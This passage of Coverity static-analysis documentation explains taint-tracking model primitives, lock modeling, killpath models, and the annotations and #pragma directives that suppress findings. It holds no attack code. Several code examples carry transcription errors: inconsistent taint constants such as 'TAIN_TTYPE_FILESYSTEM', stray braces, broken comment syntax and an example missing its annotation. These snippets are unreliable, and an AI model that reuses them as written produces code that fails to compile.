#### 5.1.6.2.1. `__coverity_format_string_sink__ (arg)`

**Deprecated:** This primitive has been deprecated as of Coverity 2019.09. It is supported for backward compatibility only. Use `__coverity_taint_sink__` instead.

Indicates to the TAIANTED\_STRING checker that a function is a format string sink.

The following model indicates that `custom_printf()` is a format string sink with respect to its argument `format`. This model is similar to the model for the standard C function `printf`:

```
void custom_printf(const char *format, ...) {
 __coverity_taint_sink__(format, FORMAT_STRING);
}
```

#### 5.1.6.2.2. `__coverity_mark_pointee_as_sanitized__ (p, SinkType)`

Indicates to the following checkers that the specified value should be treated as untainted:

- FORMAT\_STRING\_INJECTION
- OS\_CMD\_INJECTION
- PATH\_MANIPULATION
- SQLI
- TAIANTED\_SCALAR
- TAIANTED\_STRING
- URL\_MANIPULATION
- XPATH\_INJECTION

The `SinkType` parameter specifies the the type of sink that can now safely accept the sanitized data. If `p` is not of this type, then the primitive has no effect. These are the possible `SinkType` values:

- ALLOCATION
- ENVIRONMENT
- FORMAT\_STRING
- GENERIC
- LOOP\_BOUND

- OS\_CMD\_ARGUMENTS
- OS\_CMD\_ARRAY
- OS\_CMD\_FILENAME
- OS\_CMD\_STRING
- OVERRUN
- PATH
- REGISTRY
- SQL
- TAINTED\_SCALAR\_GENERIC
- URL
- XPATH

**5.1.6.2.3. `__coverity_mark_pointee_as_tainted__( pointer , taint_type )`**

Indicates to the following checkers that a function either taints its argument or returns tainted data; also indicates the source of the tainted data:

- INTEGER\_OVERFLOW
- OS\_CMD\_INJECTION
- PATH\_MANIPULATION
- SQLI
- TAINTED\_SCALAR
- TAINTED\_STRING
- XPATH\_INJECTION

This primitive takes two parameters—a pointer and a taint type (which indicates the source of the taint). Possible values for the taint type are:

- TAIN\_TYPE\_HTTP
- TAIN\_TYPE\_NETWORK
- TAIN\_TYPE\_FILESYSTEM
- TAIN\_TYPE\_DATABASE

- TAIN\_TYPE\_CONSOLE
- TAIN\_TYPE\_ENVIRONMENT
- TAIN\_TYPE\_COMMAND\_LINE
- TAIN\_TYPE\_SYSTEM\_PROPERTIES
- TAIN\_TYPE\_RPC
- TAIN\_TYPE\_HTTP\_HEADER
- TAIN\_TYPE\_COOKIE

These values correspond to available trust options. For more information about trust options, see `TaintKind`.

This model indicates `custom_string_read()` taints its argument `s` and that the source of the tainted data is the filesystem:

```
void custom_string_read(int fd, char *s) {
 __coverity_mark_pointee_as_tainted__(s, TAIN_TYPE_FILESYSTEM);
}
```

This model indicates `packet_get_int()` returns tainted data and that the source of the tainted data is the network:

```
unsigned int packet_get_int() {
 unsigned int ret;
 __coverity_mark_pointee_as_tainted__(&ret, TAIN_TYPE_NETWORK);
 return ret;
}
```

#### 5.1.6.2.4. `__coverity_secure_coding_function__( type , problem , alternative , risk )`

Indicates to the `SECURE_CODING` checker that a function should not be used.



#### Note

DEPRECATED in 7.5.0: The `SECURE_CODING` checker has been deprecated. As of release 2020.03, we recommend that you use CodeXM to implement custom checkers that can identify *don't call* issues. See "Writing Your Own *Don't Call* Checker"..

This model indicates that at every call to `outdated_copy_function`, a warning appears informing the developer that this function should be avoided and replaced with `updated_copy_function`. For example:

```
int outdated_copy_function(void *arg) {
 __coverity_secure_coding_function__("buffer overflow",
```

```
"outdated_function() makes no guarantee of safety.",
"Use updated_copy_function() instead.",
"VERY RISKY");
}
```

#### 5.1.6.2.5. `__coverity_string_null_argument__`

Indicates to the STRING\_NULL checker that a function could assign an argument to a character array without null-termination. For example:

```
void custom_packet_read(char *s) {
 __coverity_string_null_argument__(s);
}
```

#### 5.1.6.2.6. `__coverity_string_null_return__`

Indicates to the STRING\_NULL checker that a function returns a character array that is not null-terminated. For example:

```
char *custom_network_read() {
 return __coverity_string_null_return__();
}
```

#### 5.1.6.2.7. `__coverity_string_null_sink__`

Indicates to the STRING\_NULL checker that a function must be protected from strings that are not null-terminated. For example:

```
void custom_string_replace(char *s, char c, char x) {
 __coverity_string_null_sink__(s);
}
```

#### 5.1.6.2.8. `__coverity_string_null_sink_vararg__ (arg_number)`

Indicates to the STRING\_NULL checker that a function's arguments must be protected from non-null-terminated strings.

The following model indicates that the second argument on onward must be null-terminated before being passed to the `custom_vararg()` function:

```
void custom_vararg(char *s, char *format, ...) {
 __coverity_string_null_sink_vararg__(2);
}
```

#### 5.1.6.2.9. `__coverity_string_size_return__`

Indicates to the STRING\_SIZE checker that a function returns a string of arbitrary size and must be length-checked before use. For example:

```
string custom_string_return() {
```

```
return __coverity_string_size_return__();
}
```

#### 5.1.6.2.10. `__coverity_string_size_sanitize__`

Indicates to the `STRING_SIZE` checker that a function correctly sanitizes a string's length.

In the following example, the `size_check()` function returns `1` when the string has been sanitized with respect to its size, and `0` otherwise:

```
int size_check(char *s) {
 int ok_size;
 if (ok_size == 1) {
 __coverity_string_size_sanitize__(s);
 return 1;
 } else {
 return 0;
 }
}
```

#### 5.1.6.2.11. `__coverity_string_size_sink__`

Indicates to the `STRING_SIZE` checker that a function is a string size sink and must be protected from arbitrarily large strings.

```
void *custom_string_process(const char *s) {
 __coverity_string_size_sink__(s);
}
```

#### 5.1.6.2.12. `__coverity_string_size_sink_vararg__`

Indicates to the `STRING_SIZE` checker that a function's arguments must be length-checked before being passed those arguments. For example:

```
void custom_vararg(char *s, char *format, ...) {
 __coverity_string_size_sink_vararg__(2);
}
```

#### 5.1.6.2.13. `__coverity_tainted_data_argument__`

**Deprecated:** This primitive is supported for backward compatibility only. Use `__coverity_mark_pointee_as_tainted__` instead.

Indicates to the `TAINTED_SCALAR` checker and the `INTEGER_OVERFLOW` checker that a function taints its argument.

This model indicates `custom_read()` taints its argument `buf`. The POSIX `custom_read` interface is modeled with a similar stub function:

```
void custom_read(int fd, void *buf) {
```

```
__coverity_tainted_data_argument__(buf);
}
```

Use the following model as a guide for migrating `__coverity_tainted_data_argument__` usage to `__coverity_mark_pointee_as_tainted__` usage. This model improves upon the previous by indicating the source of the tainted data (in this case, the filesystem):

```
void custom_read(int fd, void *buf) {
 __coverity_mark_pointee_as_tainted__(buf, TAINT_TYPE_FILESYSTEM);
}
```

#### 5.1.6.2.14. `__coverity_tainted_data_return__`

**Deprecated:** This primitive is supported for backward compatibility only. Use `__coverity_mark_pointee_as_tainted__` instead.

Indicates to the `TAINTED_SCALAR` checker and the `INTEGER_OVERFLOW` checker that a function returns tainted data.

This model indicates that `packet_get_int()` returns tainted data and should be tracked as such:

```
unsigned int packet_get_int() {
 return __coverity_tainted_data_return__();
}
```

Use the following model as a guide for migrating `__coverity_tainted_data_return__` usage to `__coverity_mark_pointee_as_tainted__` usage. This model improves upon the previous by indicating the source of the tainted data (in this case, the network):

```
unsigned int packet_get_int() {
 unsigned int ret;
 __coverity_mark_pointee_as_tainted__(&ret, TAINT_TYPE_NETWORK);
 return ret;
}
```

#### 5.1.6.2.15. `__coverity_tainted_data_sanitize__`

**Deprecated:** This primitive has been deprecated as of Coverity 2019.09. It is supported for backward compatibility only. Use `__coverity_mark_pointee_as_sanitized__` instead.

Makes the `TAINTED_SCALAR` checker treat the provided value as though it is untainted.

The following model indicates to the checker that it should no longer track `s.x` (or `s.y`) as tainted if `check_value()` returns `1`:

```
struct S { int x, y; };
int check_value(struct S *s) {
 int is_ok;
 if (is_ok) {
```

```

 __coverity_mark_pointee_as_sanitized__(s, OVERRUN);
 return 1;
} else {
 return 0;
}
}

```

Test code:

```

struct S { int x, y; };
void test() {
 int array[10];
 struct S s;
 read(0, &s, sizeof(s));
 if (check_value(&s)) {
 // no bug here
 array[s.x] = 1;
 } else {
 // TAINTED_SCALAR reported
 array[s.x] = 1;
 }
}
}

```

#### 5.1.6.2.16. `__coverity_tainted_data_sink__`

**Deprecated:** This primitive is supported for backward compatibility only. Use `__coverity_taint_sink__` instead.

Indicates to the TAINTED\_SCALAR checker and the INTEGER\_OVERFLOW checker that a function is a taint sink for an argument.

This model indicates `custom_write()` is a taint sink for argument `count`. The POSIX `write` interface is modeled with a similar stub function:

```

void custom_write(int fd, const void *buf, size_t count) {
 __coverity_tainted_data_sink__(count);
}

```

Use the following model as a guide for migrating `__coverity_tainted_data_sink__` usage to `__coverity_taint_sink__` usage. This model indicates that `custom_write()` is a taint sink (of type OVERRUN) with respect to its argument `count`.

```

void custom_write(int fd, const void *buf, size_t count) {
 __coverity_taint_sink__(&count, OVERRUN);
}

```

#### 5.1.6.2.17. `__coverity_tainted_data_transitive__`

Used by a tainted data checker to a model function that propagates taintedness from one argument to another.

The next model indicates that `custom_copy()` will transitively taint argument `dest` based on the tainted state of argument `src` (and only if `n != 0`). The standard C interface `memcpy` is modeled with a similar stub function.

```
void *custom_copy(void *dest, void *src, size_t n) {
 if (n != 0) {
 __coverity_tainted_data_transitive__(dest, src);
 }
 return dest;
}
```

#### 5.1.6.2.18. `__coverity_tainted_data_transitive_return__`

**Deprecated:** This primitive is supported for backward compatibility only. Use `__coverity_tainted_data_transitive__` instead.

Used by the TAINTED\_SCALAR checker to model functions that transitively taint a return value based on the taintedness of an argument, for example `atoi()`.

For example:

```
// if b was tainted, get_int returns tainted data
// get_int pulls an integer out of some buffer
int get_int(struct buffer *b) {
 return __coverity_tainted_data_transitive_return__(b->x);
}
```

Use the following model as a guide for migrating

`__coverity_tainted_data_transitive_return__` usage to  
`__coverity_tainted_data_transitive__` usage:

```
// if b was tainted, get_int returns tainted data
// get_int pulls an integer out of some buffer
int get_int(struct buffer *b) {
 int r;
 __coverity_tainted_data_transitive__(r, b->x);
 return r;
}
```

#### 5.1.6.2.19. `__coverity_tainted_data_transitive_vararg_inbound__` (*position*, *position*)

Indicates to the TAINTED\_SCALAR checker that a function transitively taints one argument if other arguments are tainted.

The following model indicates that `custom_sprintf()` transitively taints argument `0` if any argument from `2` onward is tainted. The standard C interface `sprintf` is modeled with a similar stub function.

```
void custom_sprintf(char *str, const char *format, ...) {
 __coverity_tainted_data_transitive_vararg_inbound__(0,2);
}
```

---

```
}
```

#### 5.1.6.2.20. `__coverity_tainted_data_transitive_vararg_outbound__` (*position*, *position*)

Indicates to the TAINTED\_SCALAR checker that a function transitively taints arguments if a specific argument is tainted.

The following model indicates that `custom_sscanf()` transitively taints arguments `2` and onward if argument `0` is tainted:

```
void custom_sscanf(const char *str, const char *format, ...) {
 __coverity_tainted_data_transitive_vararg_outbound__(2, 0);
}
```

#### 5.1.6.2.21. `__coverity_tainted_string_argument__`

**Deprecated:** This primitive is supported for backward compatibility only. Use `__coverity_mark_pointee_as_tainted__` instead.

Indicates to the TAINTED\_STRING checker that a function taints its argument.

The following model indicates that `custom_string_read()` taints its argument `s`:

```
char *custom_string_read(char *s, int size, FILE *stream) {
 __coverity_tainted_string_argument__(s);
 return s;
}
```

Use the following model as a guide for migrating `__coverity_tainted_string_argument__` usage to `__coverity_mark_pointee_as_tainted__` usage. This model improves upon the previous by indicating the source of the tainted data (in this case, the filesystem):

```
char *custom_string_read(char *s, int size, FILE *stream) {
 __coverity_mark_pointee_as_tainted__(s, TAIN_TTYPE_FILESYSTEM);
 return s;
}
```

#### 5.1.6.2.22. `__coverity_tainted_string_return_content__`

**Deprecated:** This primitive is supported for backward compatibility only. Use `__coverity_mark_pointee_as_tainted__` instead.

Indicates to the TAINTED\_STRING checker that a function returns a tainted string.

The following model indicates that `packet_get_string()` returns a tainted string:

```
void *packet_get_string() {
 return __coverity_tainted_string_return_content__();
}
```

Use the following model as a guide for migrating

`__coverity_tainted_string_return_content__` usage to `__coverity_mark_pointee_as_tainted__` usage. This model improves upon the previous by indicating the source of the tainted data (in this case, the network):

```
void *packet_get_string() {
 void *ret;
 __coverity_mark_pointee_as_tainted__(ret, TAINT_TYPE_NETWORK);
 return ret;
}
```

#### 5.1.6.2.23. `__coverity_tainted_string_sanitize_content__`

**Deprecated:** This primitive has been deprecated as of Coverity 2019.09. It is supported for backward compatibility only. Use `__coverity_mark_pointee_as_sanitized__` instead.

Indicates to the TAINTED\_STRING checker whether a function can sanitize an argument.

The following model indicates that `s` will be sanitized for sinks of type `PATH` when `custom_sanitize()` returns `true`, else it will not be cleansed in cases where the function returns `false`:

```
bool custom_sanitize(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, PATH);
 return true;
 }
 return false;
}
```

#### 5.1.6.2.24. `__coverity_tainted_string_sink_content__ (arg)`

**Deprecated:** This primitive is supported for backward compatibility only. Use `__coverity_taint_sink__` instead.

Indicates to the TAINTED\_STRING checker that a function is a taint sink with respect to its argument.

The following model indicates that `custom_db_command()` is a tainted string sink with respect to its argument `command`:

```
void custom_putenv(const char *command) {
 __coverity_tainted_string_sink_content__(command);
}
```

Use the following model as a guide for migrating `__coverity_tainted_string_sink_content__` usage to `__coverity_taint_sink__` usage. This model indicates that `custom_putenv()` is a taint sink (of type `ENVIRONMENT`) with respect to its argument `string`. The standard C interface `putenv` is modeled with a similar stub function:

```
void custom_putenv(char *string)
```

```
{ __coverity_taint_sink__(string, ENVIRONMENT); }
```

**5.1.6.2.25. `__coverity_taint_sink__` (*arg*, *taint\_sink\_type*)**

Indicates to the following checkers that a function is a taint sink with respect to its argument:

- `FORMAT_STRING_INJECTION`
- `OS_CMD_INJECTION`
- `PATH_MANIPULATION`
- `SQLI`
- `TAINTED_SCALAR`
- `TAINTED_STRING`
- `URL_MANIPULATION`
- `XPATH_INJECTION`

This primitive takes two parameters—a pointer and a taint sink type. Possible values for the taint sink type are:

- `ALLOCATION`
- `ENVIRONMENT`
- `FORMAT_STRING`
- `GENERIC`
- `LOOP_BOUND`
- `OS_CMD_ARGUMENTS`
- `OS_CMD_ARRAY`
- `OS_CMD_FILENAME`
- `OS_CMD_STRING`
- `OVERRUN`
- `PATH`
- `REGISTRY`
- `SQL`

- TAINTED\_SCALAR\_GENERIC
- URL
- XPATH

The following model indicates that `custom_putenv()` is a taint sink (of type ENVIRONMENT) with respect to its argument `string`. The standard C interface `putenv` is modeled with a similar stub function:

```
void custom_putenv(char *string)
{ __coverity_taint_sink__(string, ENVIRONMENT); }
```

#### 5.1.6.2.26. `__coverity_tainted_terminated_string__()`

To the STRING\_NULL checker, indicates that a function returns a string that is not null-terminated. To the TAINTED\_STRING checker, indicates that a function returns a tainted string.

#### 5.1.6.2.27. `__coverity_user_pointer__(arg)`

Indicates to the USER\_POINTER checker that a function dereferences user-space pointers.

#### 5.1.6.3. `__coverity_write_buffer_bytes__(void *buf, unsigned size)`

Indicates that the specified buffer is read up to a given size, specified in bytes. This primitive mainly affects the OVERRUN, ARRAY\_VS\_SINGLETON, and UNINIT checkers.

#### 5.1.6.4. `__coverity_write_buffer_elements__(void *buf, unsigned size)`

Indicates that the specified buffer is read up to a given size, specified in elements. The element type is determined by the type of the expression before the cast to `void`. This primitive mainly affects the OVERRUN, ARRAY\_VS\_SINGLETON, and UNINIT checkers.

### 5.1.6.5. Concurrency primitives

#### 5.1.6.5.1. `__coverity_assert_locked__(L)`

Assert that lock `L` is held.

#### 5.1.6.5.2. `__coverity_exclusive_lock_acquire__(L)`

Indicates that the exclusive lock `L` is acquired.

#### 5.1.6.5.3. `__coverity_exclusive_lock_release__(L)`

Indicates that the exclusive lock `L` is released.

#### 5.1.6.5.4. `__coverity_lock_alias__(arg, arg)`

Indicates, in a constructor, that a wrapper class is a proxy for operations on the real lock.

For example:

```
struct Lock;
struct AutoLock {
 nsAutoLock(Lock *a) {
 __coverity_lock_alias__(this, a);
 __coverity_exclusive_lock_acquire__(this);
 }
 ~nsAutoLock() {
 __coverity_exclusive_lock_release__(this);
 }
 void lock() {
 __coverity_exclusive_lock_acquire__(this);
 }
 void unlock() {
 __coverity_exclusive_lock_release__(this);
 }
};
```

#### 5.1.6.5.5. `__coverity_recursive_lock_acquire__ (L)`

Indicates that the recursive lock *L* is acquired.

#### 5.1.6.5.6. `__coverity_recursive_lock_release__ (L)`

Indicates that the recursive lock *L* is released.

#### 5.1.6.5.7. `__coverity_sleep__`

Indicates that the calling function may take a long time to complete or otherwise block.

### 5.1.7. Overriding Invalid Models

You can re-write the model for a function in the library so that it accurately reflects the function's behavior. The only challenge in this approach is that you must make sure that the mangled name of the function in the library matches the mangled name of the function in the actual source code (this restriction is only relevant for C++ code). To do so, simply make sure that the type signatures match (by name). For example, if one of the arguments to the function that you are attempting to override is a structure pointer, you must either include the definition for that structure in your library file or make a dummy structure with an exact name match in your library file. Note that mangled names include type names (for example, `struct foo`), but they do not include the structure's contents.

As a simple example, suppose that you want to override the default model for the function `malloc` such that it returns allocated memory but it can never return `NULL`. To do so, create a file called `my_memory_allocators.c`, in which you put the new definition of the function `malloc`. The new version of `malloc` is as follows:

```
void *malloc(unsigned n) {
```

```
 return __coverity_alloc__(n);
}
```

The library function `__coverity_alloc__` is pre-configured to return dynamically allocated memory, but it does not return a `NULL` pointer in any case. As a point of reference, here is the shipped model for `malloc` that does return `NULL` in the out of memory case:

```
void *malloc(size_t size) {
 int has_memory;
 __coverity_negative_sink__(size);
 if(has_memory)
 return __coverity_alloc__(size);
 else
 return 0;
}
```

The default model for `malloc` also indicates that the size parameter should not be negative. Also, the model simulates the out of memory behavior by switching on the uninitialized variable `has_memory`. Doing so allows Coverity Analysis to assume that any call to `malloc` could return either `NULL` or non-`NULL`. Because this code for `malloc` is only a model, it does not matter that this code is not "correct" C programming.

To install this new model for `malloc`, compile this file into a format read by the analysis:

```
> cov-make-library -of memory_models.xmlldb my_memory_allocators.c
```

After running this step, the following test case no longer reports a `NULL_RETURNS` defect if you invoke **cov-analyze** with a command line switch pointing to the generated models:

```
typedef struct _FILE {

} FILE;

void test() {
 FILE* f = 0;
 int *p = (int*)malloc(10);
 *p = 0;
 // Leak the pointer.

 f = fopen("file.txt", "w");
 // Leak the file.
}
```

The **cov-analyze** command is invoked as follows:

```
> cov-analyze --dir /tmp/tmp-intermediate \
--user-model-file memory_models.xmlldb
```

You do not have to put all models in a single file. The **cov-make-library** command can take any number of files on the command line.

### 5.1.8. Adding a Killpath to a Function to Abort Execution

If Coverity Analysis generates many false positives after you analyze your code, there might be missing *killpath* function models. A killpath function is a function that terminates execution.

Missing killpath functions cause false positives when Coverity Analysis uses an `assert()` to infer that a condition is possible, but the `assert()` actually says it is *impossible*. For example:

```
int test1(int *p) {
 assert(p != NULL);
 return *p;
}
```

If killpath functions are modeled correctly, Coverity Analysis sees:

```
assert(p != NULL)
```

and realizes that `p` must be non-NULL to continue execution. However, if a killpath is missing, when Coverity Analysis analyzes `test1()`, it will treat it the same as:

```
int test1(int *p) {
 if (p != NULL) {}
 return *p;
}
```

Coverity Analysis assumes that the killpath is missing if the program does not use the standard `assert()` function, but instead uses an `assert()` function that a developer wrote and that does not actually abort or Coverity Analysis does not see that it aborts. In either case, Coverity Analysis concludes that `p` can be NULL (otherwise why test it with the `if` statement?), and it reports the subsequent dereference as a `FORWARD_NULL`. Missing killpaths lead to false positives when Coverity Analysis treats an asserted condition as plausibly being false.

Most functions that abort execution, such as `exit()` and `kabort()`, are modeled using the library mechanism described earlier and the primitive library function `__coverity_panic__`. The file `<install_dir_sa> /library/generic/common/killpath.c` lists these types of functions that are currently modeled in the system. In general, the best way to add more functions with killpaths is to enhance the library by writing stubs that either call the primitive or one of the existing library functions.

#### Adding a killpath to the `special_abort` function

To add another killpath to a `special_abort` function:

1. Create a model for `special_abort` in the file `kill.c`:

```
void special_abort(const char* msg) {
 __coverity_panic__();
}
```

2. Generate a new model for `special_abort` to suppress the `RESOURCE_LEAK` defect in the following test case:

```
void test() {
 int *p = (int*)malloc(10);
 *p = 0; // No defect due to overridden malloc
 special_abort("we are done - no leak");
}
```

3. Generate the models for the new function by using the `cov-make-library` command. To include the models from `my_memory_allocators.c`:

```
> cov-make-library kill.c my_memory_allocators.c
```

4. Analyze the example and verify there are no defects:

```
> cov-analyze --dir /tmp/tmp-intermediate
```

5. Check that there are no defects produced by Coverity Analysis in any of the `*.errors.xml` files generated in the current directory.

If you are trying to add a macro that aborts execution to the library, you must first tell the Coverity compiler to change that macro into a function call using the `#nodef` [feature](#) of the Coverity compiler.

Alternatively, you can use function annotations to specify that all paths through a function are killpaths.

### 5.1.9. Suppressing False Positives with Code-line Annotations

Even if you are overriding user models, you still might not eliminate all false positives. However, for analysis, you can also use code-line annotations to suppress false positives on untriaged CIDs. Starting in version 7.0, annotations affect defects that have the Unclassified or Pending classification in Coverity Connect but otherwise have no effect on defects that have already been triaged manually.



#### Note

These annotations are only supported with C/C++ code analysis.

There are no code-line annotations for parse warnings.

Code-line annotations are placed immediately before the line of code where the defect occurs. As an example, suppose the system detects that the `x` local variable can be `NULL` when it is dereferenced in the following code:

```
x = NULL;
...
x = 0; / foo.c line 20 */
```

When Coverity Analysis analyzes this code, a `FORWARD_NULL` defect is displayed in Coverity Connect. This defect contains an event with the tag `var_deref_op`. The message describing the event appears in Coverity Connect in red and is displayed on the line immediately preceding the event. In this

case, just before line 20 in the file `foo.c`. If this defect is a false positive, you can suppress it with a commented code-line annotation containing the text `coverity[var_deref_op]` immediately before the dereference:

```
x = NULL;
...
// coverity[var_deref_op]
x = 0; / foo.c line 20 */
```

When Coverity Analysis checks the code again, the `FORWARD_NULL` defect is automatically annotated with the classification `Intentional`, and the defect commit step automatically reads and annotates the bug in Coverity Connect.

A code-line annotation always appears at the beginning of a C comment (`/* coverity[...]...`) or a C++ comment (`// coverity[...]...`) and applies to the first line of code after the comment that is neither empty (white space) nor a comment.



### Note

You can apply multiple `coverity` annotations with different event tags to the same line of code. Coverity Analysis always checks the line that precedes the event. If it finds an annotation on that line, it checks the line above that one for yet another annotation, and so on, looping through annotations that it finds on the immediately preceding lines. For example, the following will suppress events `foo` and `bar` from the call to `nobug()`:

```
// coverity[baz]

// coverity[foo]
// coverity[bar]
/* coverity[qux] */ nobug();
```

The example does *not* exclude `baz` or `qux` because there is an empty line between `foo` and `bar`, and `qux` is on the same line as `nobug()`.

Code-line annotations result in defect events being ignored. It is possible that multiple defects share a single event and ignoring the event will suppress more than one defect. Because of this, you should only use code-line annotations to suppress critical, unshared events or ones you are sure Coverity Analysis has incorrectly identified. You can identify a critical event through its description. For example, the event description [Variable "x" tracked as NULL was dereferenced] indicates a critical event, while the event description [Added "x" due to comparison "x == 0"] is informational and indicates a shareable event. Each defect's documentation lists the critical events you can suppress if a defect is a false positive.

In Coverity Connect, an ignored defect has an `Intentional` classification. In addition to `Intentional`, one other classification is supported using code-line annotation: `FALSE`. For example, the following code-line annotation lists a `FORWARD_NULL` defect with Coverity Connect classification `FALSE`:

#### 5.1.9.1. Special Coverity Connect classifications

In addition to the default classification of `Intentional`, annotations let you explicitly specify certain other classifications.

#### 5.1.9.1.1. The FALSE classification

You can specify that a defect be classified as `FALSE`, for *False Positive*. This is a stronger assertion than `Intentional`: A False Positive asserts that developers are satisfied the code is not a bug under any circumstances.

To explicitly classify a defect report as False Positive, in the code annotation follow the event tag with a colon, and then with the keyword `FALSE`.

For example, the following code annotation assigns the Coverity Connect classification of `FALSE` to a `FORWARD_NULL` event:

```
x = NULL;
...
// coverity[var_deref_op : FALSE]
x = 0; / bad_deref.c line 20 */
```

#### 5.1.9.1.2. The SUPPRESS classification

(New to version 2020.03.)

`Suppress` is a stronger assertion than even False Positive: When you suppress a defect, it is no longer saved by Coverity Connect at all, and it no longer appears in the analysis summary.

To explicitly suppress a defect report, in the code annotation follow the event tag with a colon, and then with the keyword `SUPPRESS`.

For example, the following code annotation suppresses the report of a `FORWARD_NULL` event:

```
x = NULL;
...
// coverity[var_deref_op : SUPPRESS]
x = 0; / bad_deref.c line 20 */
```

### 5.1.10. C/C++ Function Annotations

Function models are generated automatically during Coverity static analysis, and can be overridden by user models and by Coverity library models. You can enhance automatically generated models by adding function annotations to your source, and you can enhance your user models in the same way.

You can use function annotations to enhance function models. Function models determine how function calls are treated during analysis. A function annotation's format is similar to a code-line annotation's: it appears at the beginning of a C comment (`/* coverity[+...]...` ) or a C++ comment (`// coverity[+...]...` ) and before the function definition. The function annotation applies to the next function definition.

For example, the following annotation specifies that all paths through `special_abort()` are killpaths:

```
// coverity[+kill]
void special_abort(const char* msg)
{ ... }
```

The following tags can appear within `coverity[...]` in a function annotation and can help suppress false positives:

- `+kill` : Specifies that a function always aborts.
- `+alloc` : Specifies that a function either always returns allocated memory or stores allocated memory in an argument.
- `+free` tag: Specifies that a function always frees memory passed in as an argument.
- `+returnsnull` : Specifies that a function may return null and must be checked before dereferencing it.

As an example of using the `+returnsnull` function annotation, the following specifies that the value of `fetch_ptr` should always be checked. Unchecked values will be reported with `NULL_RETURNS` checker (and do not depend on statistical analysis).

```
int* fetch_ptr(int idx)
{ ... }

void caller() {
 int * p = fetch_ptr(0);
 *p = 0; // NULL_RETURNS defect
}
```

Coversely, the `+returnsnull` function annotation can be used to suppress the `NULL_RETURNS` defects. Any unchecked return values of functions with the negative annotation will no longer be reported by the checker.

As an example of an allocation function annotation, the following specifies that `my_alloc()` always returns memory:

```
// coverity[+alloc]
void* my_alloc(size_t size)
{ ... }
```

When a function annotation specifies that memory is always allocated to a dereference of a function's `n` position argument, you must include the string `arg-*n` after a colon following the annotation's tag. Arguments are numbered `0..n` as they appear from left to right. For example, the following specifies that `my_alloc()` always assigns memory to its dereferenced zero position argument (`p`).

```
// coverity[+alloc : arg-*0]
void my_alloc0(void **p, size_t size)
{ ... }
```

Function annotations with the `+free` tag must always specify an argument, which is assigned the memory to be freed. Whether this argument is dereferenced is optional. For example, the

following specifies that `my_free()` always frees memory assigned to its first position argument (`memory_to_free`) without a dereference:

```
// coverity[+free : arg-1]
void my_free(void** arg, void* memory_to_free)
{ ... }
```

You can use function annotations instead of the `__coverity_panic__()` or `__coverity_alloc__()` library function calls when the specified behavior affects all paths of a function.

When you precede a function annotation tag with `coverity[-...]`, you can use it to suppress a function's model rather than enhance it. For example, the following suppresses the allocation behavior of `my_alloc1()`:

```
// coverity[-alloc]
void* my_alloc1(size_t size)
{ return malloc(10); }
```

Coverity Analysis will *not* check that the memory allocated with `my_alloc1()` is free'd. This might be useful, for instance, if the code is allocating memory for global variables that isn't free'd until the program ends.

You can use all the tags listed in this section in a suppressing function annotation.

### 5.1.11. Annotating deviations and suppressing false positives with `#pragma` directives or `_Pragma` operators

Users might not want to or be able to support all the rules of a given standard. A *compliance deviation* is the suppression of defects associated with a rule that is enforced by a particular checker.

Coverity provides a pragma-based mechanism that allows in-line source code annotations to suppress the reporting of defects and false positives found in C and C++ code. You can use similar annotations to support compliance deviation, and you can generate a deviation report (CSV file) when analysis is done, to record all the deviations in the current project version. Having a record of the deviations might allow you to claim compliance and gain approval despite partial adherence to the standard.



#### Note

The `#pragma` Coverity-compliance preprocessing directive and `_Pragma` Coverity-compliance preprocessing operator are not supported for Clang-based compilers.

To mark compliance deviations:

1. Set the **cov-analyze** option `--ignore-deviated-findings`.
2. Use the `#pragma` directive or `_Pragma()` operator to identify the deviations or false positives to be ignored.

- The `#pragma` directive is supported by the C90 and later language standards.

The syntax for this directive is `#pragma coverity compliance <directives>`.

- The `_Pragma()` operator is supported by C99, C++11, and later standards.

The syntax for this operator is `_Pragma ("coverity compliance <directives>")`.

This operator allows suppression annotations to be included in macro definitions. (Hence C90 or C++03-only target compilers might not be compatible with the operator.) Native compilers compliant to these standards will ignore `#pragma coverity` directives and native code compilation will not be affected.

Any defects or false positives annotated using the `#pragma coverity compliance` directive will be suppressed and will not be reported by Coverity Connect. You can apply this annotation to any Coverity checker by checker name. Your organization should provide guidance for the use of this kind of annotation with a given compliance standard.

After you analyze source that contain compliance deviation annotations, the Coverity output directory will contain two files related to compliance deviations:

- The annotations output file `deviations.txt` is a CSV formatted list of the annotated defects.
- The log file `deviations-warnings.txt` contains warnings on mismatched counts and unused deviations.

#### 5.1.11.1. Using the `#pragma coverity compliance` directive

The `#pragma coverity compliance` directive lets a scan deviate from reporting compliance issues. The C90 and later language standards support `#pragma`.

This directive is introduced by `#pragma coverity compliance`, and then is followed by directive instructions.

The directive instructions allow you to specify the following basic elements:

- The *scope* where the directive is applied: a line, a file, and so on
- The *classification* of the defect found: either a false positive or a deviation
- The *checker* name for the rule whose violation is to be ignored
- Comments

Syntax variations are shown below. The following element is used in multiple variants.

*directive* is `classification[:count] checker [comment]`

#### Single line, single checker annotation:

```
#pragma coverity compliance classification[:count] "checker_name" ["comment"]
```

By default, line scope is the line of `#pragma coverity compliance` and the line immediately following.

**Single line, multiple checker annotation:**

```
#pragma coverity compliance (directive) [(directive) ...]
```

**Block scope annotation:**

```
#pragma coverity compliance block [(block_scope)] directive
#pragma coverity compliance end_block [(block_scope)]checker [checker...]
```

Where *block\_scope* is either `file` or `include` and defaults to `file` if not present. File scope excludes any intervening `#include` files. The `include` scope includes any direct or transitive `#include` files.

- *scope*

Defines the lines in a source file where checker defects are subject to the annotation. Scope is either `line` (by default) or `block`, which can also cover included files. Scopes are distinct for each checker, and scopes for different checkers may overlap.

For a given checker, single line annotations have precedence over `block (file)`, which have precedence over `block(include)`. That is, finer-grained scopes have precedence over coarser-grained scopes. This allows for the inclusion of `false_positive` within a deviate block.

- *classification* can be `deviate` or `false_positive` or `fp`, depending on how you want defects found within *scope* to be reported.
- *count* specifies the number of defects expected to be found in the annotation scope; it is optional. If specified, any difference between the actual number of defects found and those expected is reported in the log file.
- *checker* is the name of the checker producing defects to be managed by the annotation. The name is either a string or an identifier name. Matches are not case-sensitive.
  - Strings are the checker name exactly as documented in the *Coverity Checker Reference*. For example, the string for MISRA C-2012 Rule 10.2 is "MISRA C-2012 Rule 10.2".
  - Identifiers are the checker name with separator characters replaced by the underscore characters. For example, the identifier for "MISRA C-2012 Rule 10.2" is `MISRA_C_2012_Rule_10_2`.

This is mainly for convenience to avoid character escaping in the argument string of the `_Pragma()` operator.

- *comment* is an optional user string that explains the reason for annotating the deviation.

